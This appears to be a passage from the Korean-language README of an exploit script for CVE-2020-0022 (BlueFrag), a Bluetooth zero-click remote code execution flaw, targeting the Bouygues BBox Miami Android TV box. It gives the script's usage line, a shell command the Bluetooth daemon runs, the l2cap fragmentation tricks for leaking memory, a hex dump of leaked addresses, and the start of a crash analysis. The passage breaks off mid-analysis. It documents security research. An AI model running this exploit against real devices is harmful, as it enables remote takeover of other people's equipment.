
CVE-2020-0022 취약점 악용 - Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Bouygues BBox Miami에서의 CVE-2020-0022 취약점 익스플로잇 Android TV 8.0 - ARM32 Cortex A9 작성자: Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Jan Ruge의 스크립트 기반 CVE-2020-0022는 Android 8.0-9.0 Bluetooth 제로클릭 RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
소개 및 팁
########################################################################################
이 스크립트는 python bluetooth 모듈을 사용하여 ACL 연결 핸들을 얻습니다. 따라서 bluetooth 라이브러리와 pybluez(python2용 버전 0.22, python3용 최신 버전)를 설치해야 합니다.
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
스크립트에 매개변수로 쉘 명령을 전달할 수 있으며, 블루투스 데몬이 system 함수로 실행합니다. ROP 체인이 두 번째 페이로드의 처음 20바이트를 차지하기 때문에 쉘 명령에는 104자만 사용할 수 있습니다.
예시: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
스크립트는 adb를 사용하여 연결을 확인하고 logcat을 검사하며 필요에 따라 대상 장치를 재부팅할 수 있습니다. 이를 위해서는 대상 IP를 매개변수로 전달해야 합니다. 스크립트를 사용하기 전에 adb connect로 대상에 연결하고 쉘을 열어 연결을 확인하세요.
가장 좋은 결과는 스크립트가 지시할 때 스마트폰을 통해 블루투스로 대상에 연결함으로써 얻을 수 있습니다 ;) 익스플로잇을 트리거하는 데 30번 이상 시도가 필요할 수 있지만, 때로는 첫 번째 시도에 성공하기도 합니다.
########################################################################################
ARM32를 이용한 메모리 누수
########################################################################################
Bouygues BBox Miami는 ARM 32비트 Cortex A9 프로세서를 기반으로 합니다. ARM64와의 차이점은 libc memcpy 함수가 언더플로우되지 않아 Jan Ruge와 동일한 누수를 얻을 수 없다는 점입니다. 그러나 취약점은 존재하며 다른 방식으로 익스플로잇할 수 있습니다.
4바이트 조각화로 l2cap 패킷을 전송하면 reassemble_and_dispatch에서 길이가 0인 memcpy를 트리거할 수 있습니다. 이를 통해 에코 끝에 초기화되지 않은 4바이트 데이터를 얻을 수 있습니다.
첫 번째 패킷 길이(이하 mem_offset이라고 함)를 늘리면 초기화되지 않은 메모리를 "걸어서" 탐색할 수 있습니다. 동일한 mem_offset으로 32개의 에코를 얻으면 2~8개의 익스플로잇 가능한 에코를 얻을 수 있습니다. 에코는 반복되므로 동일한 mem_offset에서 32개 이상의 에코를 얻을 필요가 없습니다. 이 방법은 또한 패킷으로 메모리를 채우므로 누수에서 패턴을 인식하고 오프셋을 찾기 쉽습니다.
mem_offset은 l2cap 패킷의 문자 길이입니다. 예: mem_offset 184 = 184문자의 l2cap 패킷 = 368바이트의 l2cap 패킷
반복이 있는 메모리 "걷기" 및 초기화되지 않은 데이터의 예:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
mem_offset 180과 184에서 리틀 엔디안의 일부 메모리 주소를 볼 수 있습니다.
a4ce80a3 -> 주소 0xa380cea4 24d280a3 -> 주소 0xa380d224 a4d580a3 -> 주소 0xa380d5a4 9cce80a3 -> 주소 0xa380ce9c 1cd280a3 -> 주소 0xa380d21c 9cd580a3 -> 주소 0xa380d59c
거의 모든 재부팅 후에 실제 메모리 주소를 찾을 수 있는 mem_offset이 적어도 4~5개 있습니다. 이를 어떻게 사용할 수 있는지는 나중에 살펴보겠습니다.
########################################################################################
첫 번째 크래시 분석
########################################################################################
2바이트 조각화로 l2cap 패킷을 전송하면 reassemble_and_dispatch에서 길이가 -2인 memcpy를 트리거할 수 있습니다. 이를 통해 두 번째 패킷의 제어된 30바이트 데이터로 부분 패킷 외부로 오버플로우할 수 있습니다. 복사된 30바이트 덕분에 마지막 4바이트가 null인 32바이트보다 큰 패킷을 보낼 필요가 없습니다.
이 오버플로우 방법은 때때로 _Z11list_appendP6list_tPv+65의 제어된 R0 레지스터로 블루투스 데몬을 충돌시킵니다: